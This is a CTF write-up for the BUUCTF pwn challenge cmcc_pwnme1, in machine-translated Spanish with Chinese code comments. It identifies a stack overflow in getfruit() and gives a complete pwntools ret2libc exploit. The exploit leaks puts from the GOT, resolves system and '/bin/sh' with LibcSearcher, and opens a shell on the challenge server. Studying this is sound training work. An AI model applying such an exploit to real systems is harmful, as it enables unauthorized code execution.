[BUUCTF] PWN —— cmcc_pwnme1 (ret2libc)

cmcc_pwnme1

anexo

paso

  1. Inspección de rutina, programa de 32 bits, inútil para activar cualquier protección
    Inserte la descripción de la imagen aquí
  2. Pruébelo localmente para ver la situación general.
    Inserte la descripción de la imagen aquí
  3. Se carga ida de 32 bits y la función para leer la bandera se encuentra al recuperar la cadena.
    Inserte la descripción de la imagen aquí
    La ubicación de esta bandera no está clara, ¿verdad? De acuerdo con el hábito de buu, debería estar mal
    main ()
    Inserte la descripción de la imagen aquí
    getfruit (), hay un desbordamiento de pila aquí
    Inserte la descripción de la imagen aquí
  4. Primero intente la función que lee la bandera, como pensé, el directorio de banderas en buu no está allí
    Inserte la descripción de la imagen aquí
  5. Como vi que era inútil activar nx, quise usar shellcode al principio, pero como no pude obtener la posición del parámetro v1 en la pila, cambié a ret2libc.

Exp completa

from pwn import *
from LibcSearcher import *

#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']

#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)

#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)

r.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/113433052
Recomendado
Clasificación